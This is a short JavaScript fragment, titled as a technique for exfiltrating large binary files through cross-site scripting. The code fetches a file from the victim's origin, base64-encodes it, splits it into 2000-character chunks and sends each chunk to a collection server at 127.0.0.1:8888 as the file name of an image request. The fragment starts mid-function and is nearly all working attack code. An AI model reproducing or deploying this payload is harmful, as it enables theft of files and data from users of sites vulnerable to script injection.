Large binary exfil through XSS

binaryExfileXSS

			fileXhr.open("GET", fileUri);
			fileXhr.send(null);

			console.log("Getting ready to get a file and exfil...");
			fileXhr.onreadystatechange = function()
			{
				if (fileXhr.readyState == XMLHttpRequest.DONE)
				{
					var responseData = encodeURIComponent(fileXhr.response);
					var exfilData = btoa(responseData);

					// We need to split the files into chunks, otherwise it'll
					// be too big of a URL path to send. We'll use the
					// image filename as the method to exfil data
					var chunkSize = 2000;
					var index     = 0;
					var numFullChunks = ((exfilData.length / chunkSize) | 0);
					var remainderBits = exfilData.length % chunkSize;

					// Exfil time
					for (i = 0; i < numFullChunks; i++) 
					{
						//console.log("Loop is: " + i);
						var exfilChunk = exfilData.slice(chunkSize * i, chunkSize * (i+1));

						var downloadingImage = new Image();
						downloadingImage.onload = function(){
    						image.src = this.src;   
						};

						// Try to async load the image, whose name is the string of data
						downloadingImage.src = "http://127.0.0.1:8888/exfil/" + i + "/" + exfilChunk + ".jpg";
					}

					// Get the last remainder bits...
					var exfilChunk = exfilData.slice(chunkSize * numFullChunks, (chunkSize * numFullChunks) + remainderBits);
					var downloadingImage = new Image();
					downloadingImage.onload = function(){
    					image.src = this.src;   
					};

					downloadingImage.src = "http://127.0.0.1:8888/exfil/" + "LAST" + "/" + exfilChunk + ".jpg";
					console.log("Done exfiling chunks..");
				}
			}
		}